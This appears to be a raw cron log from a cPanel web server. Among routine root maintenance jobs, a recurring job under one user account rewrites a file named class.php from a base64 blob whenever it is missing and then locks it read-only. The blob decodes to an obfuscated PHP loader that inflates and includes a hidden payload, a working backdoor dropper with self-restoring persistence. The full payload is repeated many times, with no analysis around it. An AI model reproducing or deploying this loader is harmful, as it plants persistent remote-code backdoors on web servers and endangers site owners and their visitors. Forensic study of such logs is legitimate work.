Sep  4 11:27:01 server CROND[13504]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:27:01 server CROND[13506]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 11:28:01 server CROND[13877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:28:01 server CROND[13878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:28:01 server CROND[13879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:29:01 server CROND[14229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:29:01 server CROND[14230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:29:01 server CROND[14231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:30:01 server CROND[14617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:30:01 server CROND[14618]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:30:01 server CROND[14619]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:30:01 server CROND[14622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:30:01 server CROND[14623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:30:01 server CROND[14621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:30:01 server CROND[14624]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:30:01 server CROND[14620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:31:01 server CROND[15457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:31:01 server CROND[15458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:31:01 server CROND[15459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:32:01 server CROND[15825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:32:01 server CROND[15826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:32:01 server CROND[15827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:33:01 server CROND[16203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:33:01 server CROND[16204]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:33:01 server CROND[16202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:34:01 server CROND[16671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:34:01 server CROND[16672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:34:01 server CROND[16673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:35:01 server CROND[17050]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:35:01 server CROND[17051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:35:01 server CROND[17063]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 11:35:01 server CROND[17062]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:35:01 server CROND[17066]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:35:01 server CROND[17067]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:35:01 server CROND[17068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:35:01 server CROND[17064]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 11:35:01 server CROND[17069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:36:01 server CROND[17948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:36:01 server CROND[17949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:36:01 server CROND[17950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:37:01 server CROND[18351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:37:01 server CROND[18352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:37:01 server CROND[18353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:38:01 server CROND[18723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:38:01 server CROND[18725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:38:01 server CROND[18724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:39:01 server CROND[19181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:39:01 server CROND[19182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
